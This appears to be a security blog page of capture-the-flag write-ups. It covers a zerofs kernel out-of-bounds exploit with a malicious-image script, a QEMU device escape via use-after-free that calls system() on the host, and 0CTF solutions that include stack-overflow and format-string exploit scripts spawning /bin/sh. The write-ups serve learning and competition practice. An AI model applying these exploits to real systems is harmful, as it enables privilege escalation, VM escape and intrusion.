Overview

zerofs.ko is a driver module of a custom filesystem.
The kernel and the module is compiled by randstruct plugin, which I found in the magic string – vermagic=4.13.0 SMP mod_unload modversionsRANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`.
run.sh and /init show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.

zerofs.ko

I found the module may be modified from simplefs after the game.
By reversing zerofs.ko, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.

zerofs_super_block

The second block records all of the inodes in an array. ino is inode number, and dno is the block number of the image.

zerofs_inode

There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure.

zerofs_dir_record

Vulnerabilitie

There isn’t any bound or size check in read and write function.
If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall zerofs_read(file *filp, char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_to_user(buf, &bh0->b_data[*pos_1], len_1) ) // OOB READ
{
...
}
...
}
ssize_t __fastcall zerofs_write(file *filp, const char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_from_user(&bh0->b_data[*pos], buf, len_1) ) // OOB WRITE
{
...
}
...
}

Constructing Image

To exploit the vulnerabilities, I need to construct an malicious image. Here is the script. I put a file named 666 with size of 0xffffffffffffffff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
block0 = p64(0x4F52455A) + p64(4096) + p64(3) + p64(0xffffffff ^ 0x7)
block0 = block0.ljust(0x1000, '\x00')
block1 = ''
inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)
inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)
block1 += inode1 + inode2
block1 = block1.ljust(0x1000, '\x00')
block2 = ''
block2 += '666'.ljust(256, '\x00')
block2 += p64(2)
block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('fs/tmp/zerofs.img', 'wb') as f:
f.write(img)

Exploit

After mounting the image, I could trigger out-of-bound read by read the file 666.
I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.

I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes system("sha256sum /root/flag");.

The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.

Here is the expliot

get_flag

Comment and share

It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.

You should read VM escape - QEMU Case Study before reading this writeup.

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
challenge
├── dependency
│   ├── libnettle.so.6.2
│   └── usr
│   └── local
│   └── share
│   └── qemu
│   ├── bios-256k.bin
│   ├── efi-e1000.rom
│   ├── kvmvapic.bin
│   ├── linuxboot_dma.bin
│   └── vgabios-stdvga.bin
├── launch.sh
├── qemu-system-x86_64
├── rootfs.cpio
└── vmlinuz-4.8.0-52-generic

There is a qemu-system-x86_64 binary with a launch script, a linux kernel, a initramfs and some dependencies.

We can get an interactive shell by executing launch.sh.

1
2
3
4
5
6
7
8
9
10
11
__ __ _____________ __ __ ___ ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/
Welcome to Tencent Keenlab
Tencent login: root
# uname -r
4.8.0-52-generic
#

The custom vulnerable device

luanch.sh shows there are two custom device named vdd.

1
2
$ ./qemu-system-x86_64 -device help 2>&1 | grep VDD
name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"

we can use some commands to find these devices and their io port/memroy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:05.0 Class 00ff: 1234:2333
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333
# cat /proc/iomem
...
fe900000-fe9fffff : 0000:00:04.0
fea00000-feafffff : 0000:00:05.0
...
# cat /proc/ioports
...
c000-c0ff : 0000:00:04.0
c100-c1ff : 0000:00:05.0
...

OOBW

In vdd_mmio_write, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set dma_len larger than sizeof(dam_buf).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall vdd_mmio_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax@21
if ( opaque->dma_state )
{
...
else
{
switch ( addr )
{
...
case 32uLL:
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len); // OOB write
break;
...
}
}
}
}

UAF

Also in vdd_mmio_write, if addr == 128 and opaque->sr[129] & 1 != 0, we can set a timer which will execute vdd_dma_timer after opaque->expire_time ns.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall vdd_mmio_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax@21
if ( opaque->dma_state )
{
...
else if ( addr > 0x24 )
{
if ( addr == 128 )
{
if ( opaque->sr[129] & 1 )
{
v4 = qemu_clock_get_ns(0);
timer_mod(&opaque->dma_timer, v4 + opaque->expire_time);
}
}
...
}
}

In vdd_dma_timer, it invokes opaque->dma_state->phys_mem_read/write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall vdd_dma_timer(TencentPCIState *opaque)
{
if ( opaque->dma_state->cmd )
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_read)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
else
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
if ( opaque->dma_state->cmd == 1 )
vdd_raise_irq(opaque, 0x100u);
}

If pci_vdd_uninit is invoked before vdd_dma_timer, the dma_state will be used after free.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall pci_vdd_uninit(TencentPCIState *opaque)
{
__int64 v1; // rax@5
__int64 v2; // [rsp+28h] [rbp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
memset(opaque->sr, 0, 0x100uLL);
if ( opaque->dma_state )
{
memset(opaque->dma_state, 0, 0x330uLL);
g_free((rcu_head *)opaque->dma_state);
}
if ( opaque->buf )
g_free((rcu_head *)opaque->buf);
v1 = *MK_FP(__FS__, 40LL) ^ v2;
}

Exploitation

The exploitation is divided into two steps:

  1. leak QEMU program address.
  2. hijack control flow

Leak QEMU program address

First, we allocate a buffer and get it’s physical address. Then we set dma_state->dst to our buffer and set dma_len larger than sizeof(dma_buf). Finally, we trigger phys_mem_write by writel(0, piomem + 32). By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void phys_mem_write(unsigned int dst, unsigned int len)
{
set_dmastate_dst(dst);
set_dmalen(len);
writel(0, piomem + 32);
}
void mem_leak(void)
{
pbuf = (unsigned long)kmalloc(0x10000, GFP_KERNEL);
memset(pbuf, 0, 0x10000);
phys_mem_write(virt_to_phys(pbuf), 0x1000);
// xxd(pbuf, 0x1000);
libc_base = search_libc_addr(pbuf, 0x1000);
printk("libc base:0x%lx\n", libc_base);
prog_base = search_prog_addr(pbuf, 0x1000);
printk("program base:0x%lx\n", prog_base);
system_addr = prog_base + SYSTEM_OFFSET;
printk("system addr:0x%lx\n", system_addr);
}

Control RIP

There are three steps to exploit the use-after-free vulnerability:

  1. set a timer
  2. trigger pci_vdd_uninit
  3. reallocte and rewrite dma_state

The following command can trigger pci_vdd_uninit

1
echo 0 > /sys/bus/pci/slots/4/power

When vdd_dma_timer runs, we can control rip.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall vdd_dma_timer(TencentPCIState *opaque)
{
if ( opaque->dma_state->cmd )
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_read)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
else
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
if ( opaque->dma_state->cmd == 1 )
vdd_raise_irq(opaque, 0x100u);
}

Becasue the QEMU is launched with --nographic -append 'console=ttyS0', so we can simply invoke system(cmd) to run a command in host machine and the output will show in console.

To invoke system(cmd), We need to:

  1. set opaque->dma_state->phys_mem_read to system
  2. set opaque->dma_buf to cmd
  3. make sure opaque->dma_state->cmd != 0.

In vdd_linear_write, when addr == 0, a buffer will be allocated with size of opaque->dma_len. And the data in opaque->dma_state->src with length of opaque->dma_len will be copied to opaque->buf, then copied to opaque->dma_state->dst

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall vdd_linear_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
if ( opaque->dma_state && addr <= 13 )
{
switch ( (_DWORD)((char *)off_6EF324 + off_6EF324[addr]) )
{
case 0:
if ( opaque->buf )
g_free((rcu_head *)opaque->buf);
opaque->buf = (uint8_t *)g_malloc0(opaque->dma_len);
vdd_dma_read(opaque->buf, opaque->dma_state->src, opaque->dma_len);
vdd_dma_write(opaque->buf, opaque->dma_state->dst, opaque->dma_len);
break;
...
}
}
}
1
2
3
4
5
6
7
8
9
10
11
void put_fake_dma(void)
{
struct dma fakedma;
fakedma.cmd = 2;
fakedma.phys_mem_read = system_addr;
memcpy(pbuf, (void *)&fakedma, sizeof(fakedma));
set_dmalen(0x330);
set_dmastate_src(virt_to_phys(pbuf));
set_dmastate_dst(virt_to_phys(pbuf));
outb(0, VDB_PORT + 0);
}

Exploit script

Thanks for Atum’s help.

Comment and share

没怎么做alictf,做了0ctf。渣渣又被虐了……分享下writeup……

oldcrypto

Old crypto is not old enough to be broken. Notice: all in lowercase

阅读这个是一个多表替换的密码,i两边是对称的,所以可以把i的变化去掉。这个有点类似维吉尼亚,不过代换是通过矩阵,而且是对称的。wiki下应该是 博福特密码。 解法跟维吉尼亚密码一样,wiki说有卡西斯基试验或者弗里德曼试验,重复指数的代码找不到了就用的卡西斯基试验的方法

1
2
3
4
5
6
7
8
9
10
def search():
i = 0
with open('deletei') as f:
cipher = f.read().strip()
while i < len(cipher):
now = cipher[i:i+3]
find = cipher[i+3:].find(cipher[i:i+3])
if find != -1:
print cipher[i:i+3], find+3
i += 1

找出来发现很多很长的密文有重复且间隔都是20的倍数。所以猜测key是20位。 之后拆分成20组频率分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def findk(src, des):
for k in xrange(26):
if tr[k][ord(des)-ord('a')] == ord(src)-ord('a'):
return chr(k + ord('a'))
def key():
k = ''
with open('split2') as f:
for line in f:
fre = {}
line = line.strip()
for c in line:
if c in fre:
fre[c] += 1
else:
fre[c] = 1
sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True)
k += findk('e', sort_fre[0][0])
print k

都猜测出现最高的频率的是’e’,之后算出来的key = ‘wkaszhcslciyhwrusfun’。解出来发现不对,不过感觉但是最后fun应该是对的。之后通过查看解密的文章通过手工判断(文章最后是flag,而且用了20个o方便判断)解出key = ‘classicalcipherisfun’ flag:0ctf{classicalcipherisfun}

BabyPolyQuine

Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi

维基百科搜到一个代码通过

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):print a%b,
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):print a%%b,%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{The very moment of raising beginner’s mind is the accomplishment of true awakening itself}

PolyQuine

BabyPolyQuine 满足 All 5 correct required to get this flag

上面的代码在python3会出问题,尝试加上括号,不过python3会多打一个空行。所以想办法利用不打空行的打印函数,想到stdout.write()于是

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):__import__('sys').stdout.write(a%b)
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):__import__('sys').stdout.write(a%%b)%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{“Yields falsehood when preceded by its quotation” yields falsehood when preceded by its quotation}

x-y-z

-4.751373,-2.622809,2.428588;-4.435134,-3.046589,2.406030;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.656070,-2.560445,2.592991;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.788052,-2.661979,2.464709;-4.435134,-3.046589,2.406030 -4.656070,-2.560445,2.592991;-4.516017,-2.714652,2.570303;-4.751373,-2.622809,2.428588 -4.656070,-2.560445,2.592991;-4.751373,-2.622809,2.428588;-4.788052,-2.661979,2.464709 -4.611258,-2.777269,2.405960;-4.435134,-3.046589,2.406030;-4.751373,-2.622809,2.428588 -4.572725,-2.644557,2.333280;-4.603014,-2.680354,2.364417;-4.592222,-2.663824,2.351891 -4.571442,-2.773632,2.381504;-4.564917,-2.826000,2.397583;-4.611258,-2.777269,2.405960 ……

感觉应该是坐标点,加上题目x-y-z。猜测把点全部描出来会不会看到立体的flag。。。于是matlab画散点图(电脑不好真惨,把点去掉一部分画还是卡)

1
2
3
4
5
A=[
......
];
x=A(:,1);y=A(:,2);z=A(:,3);
scatter3(x,y,z,'.')

慢慢的旋转猜出flag

geo newbie

我的地理知识涨了不少

Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995

上去以后问你xxx是哪里的,用国家2字母简称表达。 前20轮给国家,21-70给地名,70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from zio import *
import re
import requests
import json
correct = {
'Palestine, State of' : 'PS',
'Norfolk Island':'NF',
'Alexandria':'EG',
'Antarctica':'AQ',
'Micronesia':'FM',
'Naples':'IT',
'Mount Olympus':'GR',
'Hyde Park':'GB',
'Georgia':'GE',
'Micronesia (Federated States of)':'FM',
'Korea (Republic of)':'KR',
'Holy See':'VA',
'Tanzania, United Republic of':'TZ',
'Macedonia (the former Yugoslav Republic of)':'MK',
'Volga':'RU',
'Lego':'DK',
'Virgin Islands (British)':'VG',
'Rickshaw capital of the world':'BD',
'Melbourne':'AU',
'Vancouver':'CA',
'Korea (Democratic People's Republic of)':'KP',
'Jiuzhaigou Valley':'CN',
'Georgia':'GE',
}
target = (('202.112.28.118',29995))
def geo(query):
url = 'http://maps.googleapis.com/maps/api/geocode/json?address=%s&sensor=true_or_false' % query
r = requests.get(url)
result = json.loads(r.text)
# print result
for com in result['results'][0]['address_components']:
if "country" in com['types']:
return com['short_name']
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
# level 1
for i in range(70):
buf = io.read_until(':')
country_name = re.findall(r'n(.+)?:', buf)[0]
# print country_name
# country = pycountry.countries.get(name=country_name)
# io.writeline(country_ascii2_dict[country_name])
if country_name in correct:
io.writeline(correct[country_name])
else:
io.writeline(geo(country_name))
# load
level2 = {}
with open('level2') as f:
level2 = json.loads(f.read())
buf = io.read_until(':')
# level 2
try:
for i in range(30):
question = re.findall(r'n(.+)?:', buf)[0]
if question in level2:
ans = level2[question]
else:
ans = raw_input()
ans = ans.strip().split(',')
for c in ans:
if c in correct:
io.writeline(correct[c])
else:
io.writeline(geo(c))
buf = io.read_until(':')
level2[question] = ans
except Exception, e:
with open('level2','w') as f:
f.write(json.dumps(level2))
print e
exit()
with open('level2','w') as f:
f.write(json.dumps(level2))
io.interact()

flag:0CTF{eNj0y_geography_l0v3_7hE_w0lRd}

peers

peers :P 一个pcap文件

打开发现是bt传输文件的流量。搜索下发现与Plaid CTF 2012 – Torrent类似。 不过有个坑,就是用到80端口,wireshark把它认成了HTTP请求,影响了服务解析。只要把enable service里HTTP给去掉就好了。

PS. 朋友圈看到有人把那个分片的传输数据剪出来拼起来了。给各位大神跪了。。。 peerliang

FlagGenerator

Can you generate the correct flag? flagen libc.so.6 202.112.26.106:5149 202.112.28.115:5149 Notice: Ubuntu 14.04.2 LTS

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH flagen

这个是个花式flag生成器。问题出再fun4,把字符转成数字例如把’a’转成’4’,就比如yufan变成yuf4n(其实是用户名已注册…)。其中把h变化为’1-1’。一个字符变3个字符就栈溢出了。。。

漏洞利用

利用那个扩展在输入里填一些hhh就能造成溢出。就是有个canary。

strcpy(dest, &src);
return *MK_FP(__GS__, 20) ^ v18;

注意在之后有一个从栈里src考数据到分配的对指针dest的调用。dest是函数传进来的,栈溢出的时候可以改到。 利用步骤

  1. 利用那个strcpy将GOT中check_stack_fail函数地址改掉绕过stack smash check,顺带将system地址覆盖GOT中atoi。(简单粗暴地爆破system地址)
  2. 栈溢出将eip控制到sub_804873E,直接利用atoi调用system(‘/bin/sh’)获得shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from zio import *
import struct
checkfail_got = 0x0804B01C
brute_system = 0xf75de190
# target = ('./flagen')
target = (('202.112.28.115', 5149))
copyto = ''
copyto += l32(brute_system)*10
p = ''
p += l32(ret)
p += copyto
p += 'a'*(48 -len(copyto)-4)
p += 'h' * 40 + 'a'*100
p += l32(checkfail_got + 4) #ebp
p += l32(0x804873E) # eip
p += l32(checkfail_got) # dest
cnt = 0
while True:
print cnt
cnt += 1
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('1')
io.writeline(p)
# io.gdb_hint()
io.writeline('4')
io.writeline('/bin/sh')
io.interact()

flag:0ctf{delicious_stack_cookie_generates_flag}

login

Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910

>

Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login

利用guest,guest123登陆。用户名用一个全局buffer存储,最后一位有个标志为初始设置成0。 之后可以通过fun2修改用户,而且可以修改到标志位。 然后可以用fun4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn fun4_sub_103B()
{
__int64 v0; // rax@1
__int64 strpt; // rsi@1
__int64 v2; // rax@4
__int64 v3; // rsi@4
char v4; // [sp+0h] [bp-220h]@1
char czUser; // [sp+10h] [bp-210h]@1
char czPassword; // [sp+110h] [bp-110h]@1
__int64 v7; // [sp+218h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v0 = strlen(&czPassword);
MD5((__int64)&czPassword, v0, (__int64)&v4);
strpt = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
strpt = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 16uLL) )
showflag_sub_FB3();
}
printf(&czUser, strpt); // formatstring attack
puts(" login failed.");
puts("1 chance remaining.");
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v2 = strlen(&czPassword);
MD5((__int64)&czPassword, v2, (__int64)&v4);
v3 = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
v3 = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 0x10uLL) )
showflag_sub_FB3();
}
printf(&czUser, v3);
puts(" login failed.");
puts("Threat detected. System shutdown.");
exit(1);
}

存在格式化字符串攻击

漏洞利用

程序可以调用两次format string之后就调用exit(1)退出了。并且Full RELRO,所以可能的方法就是修改到libc加载的函数指针。提供方便的是程序里有打印flag的函数。 首先,通过调试发现寄存器里存在地址相关的信息,可以通过%016lx打印出来,栈相关的地址信息也有。程序加载的基址可以得到。栈里buffer的内容可以自己控制。通过读GOT表也能算出libc加载的基址和相对偏移。 要先写个程序把libc的相对偏移算出来。

这边做的时候SB了看有提示ubuntu 14.04.2正好系统一样,就通过程序加载的地址直接算libc的基址,可能服务器有沙箱加载地址有变化结果本地可以远程一直不行……

之后使用printf就通过%n修改libc的函数指针,之后就等flag了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from zio import *
import struct
dist_text_libcbasew = 0x13acd000 - 0x3be000
# target = ('./login')
target = (('202.112.26.107',10910))
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('guest')
io.writeline('guest123')
io.read_until('Your choice:')
io.writeline('2')
io.writeline('a'*256)
io.read_until('Your choice:')
io.writeline('4')
io.writeline('%016lx%016lx%016lx')
io.read_until('Password: ')
io.gdb_hint()
io.writeline('1234')
baddr = io.read(16*3)
textbase = int(baddr[:16],16)
textbase = textbase-0x1490
retaddr = textbase - dist_text_libcbasew + 0x38
# gen p
sum = 0
p = ""
for i in range(8):
t = (fun >> i*8) & 0xff
t = 0x100 * i + t - sum
sum += t
p += '%0'
p += str(t)
p += 'x'
p += '%'
p += '%d' % (40 + i)
p += '$n'
p2 = ''
for i in range(8):
p2 += l64(retaddr+i)
io.writeline(p)
io.read_until('Password: ')
io.writeline(p2)
io.read_until('0ctf')
io.interact()

flag:0ctf{login_success_and_welcome_back}

Comment and share

  • page 1 of 1
Author's picture

Eadom

NO PWN NO FUN


@Alibaba


Hangzhou